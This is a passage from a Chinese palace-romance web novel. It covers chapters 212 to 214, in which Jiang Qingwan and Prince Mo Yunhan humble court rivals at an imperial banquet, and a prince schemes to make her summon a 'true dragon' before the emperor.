江清婉冷冷瞥他一眼。
其眉心黑气萦绕,霉运已成实质。
她心中冷笑,淡淡开口,“秦大人道谢的诚意可不够,跪下吧。”
秦明朗怔住。
抬眸时眼中带着一种颇为受伤的悲痛,似乎难以接受他已如此优秀,江清婉却要这般伤他一样。
如此眼神,不清不白。
江清婉却在他的注视下,抬起头温柔深情的看向墨云寒。
“王爷,我就说这人是个彻头彻尾的伪君子吧,他刚刚说要谢你,一不送礼,二不下跪,嘴皮子动动就算了事,要么是穷酸的拿不出半两黄金,要么就是笑里藏刀故意算计您。”
她说着忽又扫向秦明朗。
“秦大人你竟然敢当庭算计王爷?谁给你的狗胆?”
秦明朗下意识反驳。
“我并没有……”
“哦,原来是真的穷酸。”
江清婉打断他,悠然给出结论,随即亲昵的挽住墨云寒的手臂,故作小声道,“王爷,我悄悄告诉你,他没有富贵命,很快要倒霉了,咱离他远点。”
墨云寒憋笑都快憋不住了。
江清婉对他明目张胆的维护,让他很是受用。
那还会在意秦明朗话里有话的挑拨。
配合着拍了拍臂弯处那只白嫩嫩的小手。
“都听王妃的。今日晨起还说腰疼,刚刚又坐了许久的车,为夫给你揉揉。”
说罢抽回胳膊强势的揽上了江清婉的小腰,很是体贴的将人摁在怀里揉着。
那架势恨不得将人整个抱起来。
江清婉有些痒,娇嗔的瞪他一眼,却并没有躲开。
“你轻一些。”
暧昧缱绻的话渐行渐远,却如一把有一把刀子割在秦明朗的眼睛里。
该死的!
他死死握着拳头,大步去追,脚下却不知踩到了什么,一个趔趄,跌趴在地上,狼狈至极。
夜七和青穗对视一眼。
皆事不关己的转开头,谁也不承认自己动过手脚。
不少朝臣都看到了秦明朗的糗样,低咳一声憋着笑,一边往前走一边调侃。
“新晋大理寺司正这官服怕是还没穿习惯,竟被自个绊了一脚。”
“大功臣不要太激动,皇宫夜宴虽不常有,一年也有个几次,倒不用进了宫就行五体投地之礼。”
……
秦明朗一张脸涨得通红。
终于追上来的苏玉兰有些恼。
“你怎么不等我?今日庆功夜宴,朝臣不少命妇都会来,我可是来给你长脸的。”
她话音刚落,秦明朗森冷的眸子就扫了过来。
“晦气的东西,脸上的脂粉涂的都快有城墙厚,你到底是给我来长脸的还是给我来丢脸的?”
苏玉兰又委屈又气愤。
“我的脸红肿未消,是谁的责任?还有江清婉那个贱人,她……”
“你拿什么跟她比?”
秦明朗忽然逼近,看着她那张护着厚厚脂粉和腮红的脸,脑海中全是江清婉灵动绝美的笑颜,厌恶更甚。
第213章 贴心宠溺
夜宴设在昭阳殿正殿。
以品阶和身份入席。
龙椅之下,设八席,依次为王爷和诸位皇子,之后便是威远候和青蕊郡主。
八席之后,才是朝臣,分列两侧。
墨云寒牵着江清婉的小手越过朝臣和命妇贵女们,一路登上八席之首的位置。
不少人的目光都看了过来。
威远候郭长弘头发已经花白,今日郭浩并未来,可对于江清婉的大名,他早就从儿子口中听过无数遍。
虽苍老却依旧睿智的眼睛好奇的看了两眼,却很快便收了回去。
江清婉抬头,听见侧边有人轻声唤她。
她转头就看到墨青蕊正跟她眨巴眼睛。
在她身边坐着一个儒雅的书生,应该就是那位身在做副首院的郡驸马蒋钊。
此人五官清秀,透着一份隔绝于凡尘的淡漠,眉宇之间书卷气极重,天庭气运微有红光。
是个有福气之人。
似察觉到她的注视,蒋钊抬头看了过来。
显然也听墨青蕊提过她,微微颔首点了点头算作打了招呼。
江清婉浅笑回礼,一转头,忽地对上一双冷沉的眸子。
对面坐着的是当朝三皇子墨少擎,皇后嫡子,也是现如今所有在京皇子中最为受宠的皇子。
此刻正碾着酒盏肆意地打量着她。
江清婉没理,垂下眸子看向桌上的吃食。
正餐还未上,只有瓜果甜点和酒。
她正想闻闻是什么酒,墨云寒忽地伸手将酒壶拿了过去。
“你今日不许饮酒。”
江清婉不爽的侧头瞥他一眼。
墨云寒却将自己那边的荔枝端了过来,骨节如玉的手指轻轻剥开外壳递到了她的唇边。
这一举动引得不少人低声议论。
本就是焦点中心,此刻更成了万众瞩目。
江清婉将手伸到桌下捏在男人紧实的大腿上,漂亮的眸子隐着火,声音压得很低,
“你不要太过分。”
张口说话间,将荔枝吃进了嘴里。
贡品荔枝的确与市集上买来的不同,甘甜多汁,核极小。
她正思考吐在哪里,墨云寒的手掌就在她面前张开。
“吐吧。”
这一下,是真的没眼看了。
谁能想到有朝一日,冷煞战神墨云寒会对一个女子如此贴心宠溺。
而这女子,还是人人诟病的下堂妇,贱民商籍。
不少贵女都投来艳羡嫉恨的目光。
这时一道娇媚的女声在对面响起。
“九王殿下和王妃的感情还真是好,谁能看得出,王妃在一个月前还是旁人的妻子,眼巴巴等着夫君凯旋而归啊。”
此话一出,殿内一片死寂。
那些原还羡慕嫉妒恨的贵女们,齐齐抿嘴偷笑。
江清婉缓缓吐出荔枝的核,抬眸看了过去。
说话的是苏青禾,一身浅色碧绿裙褂,金饰头面,显得无比华贵,只是五官透出几分刻薄。
她与二皇子墨少郡的婚事已经订下,这才有资格陪同参加宫宴,与皇子同坐。
江清婉还未开口,墨青蕊便冷笑出声。
“我当时谁这么没大没小,原来是苏家的另一个县主啊?如今也算披了层华衣,能等大雅之堂,称得上人模狗样了,可一张嘴却全露了馅。二殿下娶你,可不是让你出来丢人现眼的。”
墨少郡的脸色也微微变了变。
苏青禾却没有看见,阴阳怪气的道,“青蕊郡主,皇上的赐婚圣旨已经宣读,我现在是未来的二皇子妃,你还是不要一口一个县主的唤我为好。”
蒋钊将剥好一小碟荔枝放在墨青蕊面前。
“还未大婚,便有诸多可能,是县主还是皇妃,可不是嘴皮子动动就能定的。”
苏青禾冷嗤。
“你在朝中未有官职,沾了郡主的光彩才有资格来此夜宴,竟也敢胡言乱语。”
敛着眉宇看热闹的郭长虹在心里轻轻摇了摇头。
苏巍川老谋深算聪明绝顶,可惜,儿孙一茬不如一茬。
闻言,蒋钊忽地起身,规规矩矩躬身行了一礼。
“见过县主。”
苏青禾冷哼,正要再嘲讽两句,墨少郡却已经站了起来,很正式的回了一礼。
“老师莫怪。”
他喊得是老师,而不是夫子。
苏青禾的心里咯噔一下。
一旁饮酒的墨少擎大笑出声。
“三弟,你还真是千挑万选选了个好女人。当初要不是蒋钊在太学院给你补课,你怕是过不了父皇的统考吧。这刚被恩准参与朝政,就开始卸磨杀驴,实在过于凉薄了。”
苏青禾心知不妙,赶紧起身找补。
“青蕊郡主,郡驸马,是我失言,给二位赔罪了。”
说话间她眼角余光瞥见秦明朗带着苏玉兰正准备落座,立刻娇笑着道,“我是真心祝福九王爷和九王妃的,你们瞧我兰儿妹子和秦大人如今也琴瑟和鸣很是恩爱,这点错了的鸳鸯重新匹配,只要不嫌弃,一样能过好日子。”
墨少擎再次曝出大笑。
阴戾的眸子忽地扫向墨云寒。
“小九叔,三皇子妃在问你,嫌不嫌弃呢?”
墨少郡立刻拽了苏青禾一把,赶紧给墨云寒行礼。
“九皇叔,青禾并无此意……”
“那她何意啊?”墨少擎收了笑,懒懒散散的瞥了过去,“父皇常夸三弟聪慧,比我更高瞻远瞩,让我多向你学习,不如三弟跟我好好解释解释。”
嫡长子虽未立为太子。
可上有皇后,下有族亲朝臣拥护。
本一家独大,迟早登临储君之位,如今却突然冒出了三皇子与之争宠。
朝堂上早就吵得纷纷攘攘,这会儿气氛也变得剑拔弩张。
可被议论的中心人物江清婉此刻正悠然的捧着去了核的荔枝碟子,举着小木叉子吃的津津有味。
一边吃还一边看热闹。
似乎,这些人说的并不是她。
墨云寒悠然的靠在椅背上,单手撑着额头,宠溺的看着她。
对于两个皇子的针锋相对,视若罔闻。
墨少郡深吸一口气,冲着江清婉的方向鞠了一躬,随即拿起酒杯和酒壶。
“青禾言语冲撞了九王妃,侄儿代她致歉。”
说罢连喝了三杯,重新坐下,并没有去跟墨少擎继续对峙。
墨少擎轻哼一声。
“啧啧,还真是苏家养出来的一条好狗。”
墨少郡握着酒盏的手猛地收紧,手背上青筋暴凸,面色如常好似没有听到一般。
苏青禾有些不悦。
正要回击却被墨少郡拽住,皱着眉冲她摇了摇头。
气氛一时死寂。
江清婉拿过帕子擦了擦小手,很是诧异。
“这怎么唱戏唱了一半就不唱了呢?好生无趣。我还准备等会御前哭诉,求皇上为我做主。若这赐婚的圣旨不作数,我跟这位趾高气扬的苏县主都得滚蛋,若是这圣旨作数……”
她忽地停顿下来。
漂亮的狐狸眼扫过几位皇子,明明是个娇弱可欺的小姑娘,可骤然冷厉的气场,却堪比外界传闻的煞神一般。
“你们这群晚辈,难道不该给我见礼吗?”
第214章 心里的那根刺
墨青蕊差点没笑出声。
将小碟子一丢,拽着蒋钊站起身。
“给小九婶请安。”
江清婉点点头。
“乖。”
她从怀里摸出两道符纸折好。
“青穗,回礼。”
墨青蕊知道那是好东西,欢喜的上前接过,立刻给蒋钊的腰间塞了一个。
苏青禾鄙夷冷笑。
这贱妇还真当自己是……
内心吐槽还未说完,墨云寒忽地开口。
“你们是准备让本王亲自动手吗?”
几个皇子的脸色骤变。
在年龄上,墨云寒比最大的墨少擎只大了不过三岁。
在这群皇子的幼时,墨云寒只是个随意能碾死的蚂蚁。
可是后来,墨云寒找了无数个机会,无数个理由,将他们挨个收拾了一遍。
而那时的墨云寒,已经是提枪上阵的少年将军。
更有太上皇恩宠庇佑,谁敢反抗,多番下来,心里怎么会没有阴影。
墨少郡忙拽着苏青禾站了起来。
“给小九婶请安。”
苏青禾哪肯低头,正要耍性子,墨少郡忽地沉着脸看了她一眼。
她这才不情不愿地敷衍着行了礼,话却是不肯称呼。
见墨少郡起身见礼,其他几个年幼的皇子一个个跟着起身,都恭恭敬敬的见了礼。
江清婉煞有介事的点了点头。
漂亮的眸子扫过众人。
“空手请安啊。”
墨少郡怔住。
神情有些难以置信,罕见的没有控制住惊愕的神态。
苏青禾低声嘟囔。
“真是穷酸,难不成还要给银子不成?”
这话,江清婉没有听见,墨云寒却听得很清楚。
“皇室重礼,岂能空手,就拿你们身上最贵的东西孝敬吧。”
青穗端着托盘走了过去。
要东西要的理直气壮。
几人哪敢不给,乖乖放血。
走到苏青禾面前时,江清婉加了一句。
“那套金饰头面不错,我很喜欢。”
苏青禾忍无可忍。
“江清婉,你不要太过分!”
江清婉挑眉,凉凉开口。
“过分吗?比你直呼我姓名还要过分吗?”
“你!”
苏青禾被噎了个半死,墨少郡却已经上手,直接摘了她的头面放在了托盘上。
原本华贵的妆容,瞬间失了颜色。
殿内多的是命妇贵女,有的掩面轻笑,没的摇头轻叹。
陪坐在秦明朗身边的苏玉兰满心畅快,恨不得现在就冲上去嘲笑一番。
正在这时,有太监高呼。
“皇上驾到!”
墨云昭从后殿走了进来,身边一左一右跟着雍容华贵的皇后和体态娇媚的苏贵妃。
朝臣跪拜,高呼万岁。
墨云昭坐在龙椅上,瞥见了跪在正中间的青穗,还有她手里举着的盘子。
“你是何人?手中是何物啊?”
苏青禾逮着机会刚准备告状,江清婉就已经先她一步开口。
“回皇上,几个小辈说初次见面非要给我送礼,各个懂得敬重长辈,可见皇上教导有方,真是大周之福,百姓之幸。”
墨云昭虽听着怪异,却很顺耳朵。
“孝乃礼制之本,理当如此。”
江清婉直起身看向墨少擎。
“二皇子殿下,只剩你还没有送了。”
皇后的脸色微变。
苏贵妃瞥了眼很是委屈的苏青禾,娇声道,“皇后娘娘还是早些给二殿下寻一门亲事吧,有了主母操持内宅,也不至于疏漏礼数让人笑话。”
她又娇媚地望向墨云昭。
“皇上,您瞧瞧青禾,临场应变,割舍自己最喜欢的头面,全了三殿下的孝心,真是个极好的孩子。”
墨云昭甚是赞同的点了点头。
“也不能委屈了老三家,回头你再赏赐一套。”
苏青禾大喜,立刻跪下谢恩,甚至有点感谢江清婉的蛮不讲理,给了她出风头的机会。
皇后忙给墨少擎使眼色。
墨少擎取下拇指上金镶玉的扳指亲自放在了青穗举着的托盘里。
冲着江清婉拱手行礼。
“我刚刚只是在想,要送什么东西给小九婶才算敬重。毕竟,我没机会学三弟那般强行摘了自己王妃的头面表孝心,更学不来三弟妹那般,一边谩骂小九婶是什么被人嫌弃的下堂妇,一边还要装知书达理。”
气氛诡异的安静。
江清婉都想给他拍手称赞。
这一招祸首动引,反杀打脸,玩的是真绝。
只可惜,他并没有帝王之相。
身上自出生就带着的龙气也已成溃散之势头。
终究是,机关算尽一场空。
苏青禾听得是脸色惨白如纸,下意识的摇头试图解释反驳。
却因为太过紧张,嗓子卡了音,说不出话。
可她惊慌失措的态度,却已经言明了一切。
皇后掩唇轻笑。
“苏家家教,还真是令人叹为观止。”
苏贵妃的脸色难看至极。
墨云昭低咳一声。
“好了,都是有孝心的孩子,落座吧。”
夜宴开始,歌舞升平。
衣着清凉的女子,垫着白嫩的脚尖,在男子的酒意之中翩然扭动。
各色菜品也一一摆在了桌上。
晶莹剔透的琉璃丸子,造型奇特的松子桂鱼,层叠如亭台楼阁的海鲜四季春……
琳琅满目,看得江清婉甚是欢喜,吃得优雅认真,根本无暇他顾。
酒已半酣。
借着这个机会想在皇上面前露脸的各家贵女们依次登场。
才艺辈出,引得阵阵喝彩。
江清婉正认真的挑着蟹肉,墨少擎忽然起身举杯。
“父皇,儿臣听闻小九婶懂得奇门玄术,甚是奇妙,能通天遁地,幻化无形,更能召唤真龙。今日夜宴,为庆贺小九叔和秦大人为大周斩杀余孽,更为庆贺大周江山永固,若能让真龙现世,必能震慑四方,扬我大周国威。”
他话音刚落,立刻有不少言官附和。
“皇上乃真龙天子,若能得见真龙,必可载入史册,流芳百世。”
“有皇上在,真龙必会相见。”
请愿之声此起彼伏。
墨云寒站起身。
“皇兄,传闻不可信,这世间没有人见过真龙。”
墨少擎立刻反驳。
“小九叔,此言差矣。父皇乃大周的天子,龙气汇聚,自是天选。难道在小九叔的心中,并不承认此事?”
郭长虹的脸色微变。
他是老臣,当年之事,比旁人知晓的要多一些。
太上皇传位,本来属意的是墨云寒,是墨云寒不肯接手,才轮到墨云昭。
而且,时至今日,调集大周十万兵马的虎符,一直都没有给墨云昭。
此事就是一根尖刺,扎在墨云昭的心中,谁都不能碰。
果然,龙椅上的男人,脸色肉眼可见的阴沉下来。
墨少擎继续煽风点火。
“小九婶的本领,就连皇祖父都甚是信服,如今却是不肯为父皇所用吗?”
苏玉兰绞着帕子,心中冷笑。
还是母亲有办法,联系上霍氏将话递到了二皇子的面前。
如此煽动下去,这真龙必须要招来。
若是招不来,那就等同于说皇上并非真龙天子,不配得真龙相见。
这些年,皇上对九王的不满忌惮必会当场爆发。
她倒要看看,墨云寒还怎么护着江清婉。
她仿佛已经看到江清婉被当场车裂而死的惨状。